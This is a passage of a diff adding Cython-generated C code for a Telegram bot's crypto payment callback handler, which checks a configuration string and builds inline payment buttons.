__pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":43 + * ): + * + * expected_hash = "CRYPTOSALE" # <<<<<<<<<<<<<< + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_CRYPTOSALE); + __Pyx_GIVEREF(__pyx_n_u_CRYPTOSALE); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_CRYPTOSALE; + + /* "handlers/payments/cryprobot_pay.py":44 + * + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":45 + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_CRYPTO_HASH}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":46 + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":47 + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":46 + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 46, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 46, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":49 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":44 + * + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/cryprobot_pay.py":52 + * + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":53 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 53, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 53, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 53, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 53, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":54 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":55 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/cryprobot_pay.py":56 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/cryprobot_pay.py":57 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":58 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":56 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/cryprobot_pay.py":60 + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/cryprobot_pay.py":61 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/cryprobot_pay.py":62 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/cryprobot_pay.py":60 + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":54 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/cryprobot_pay.py":66 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/cryprobot_pay.py":67 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + 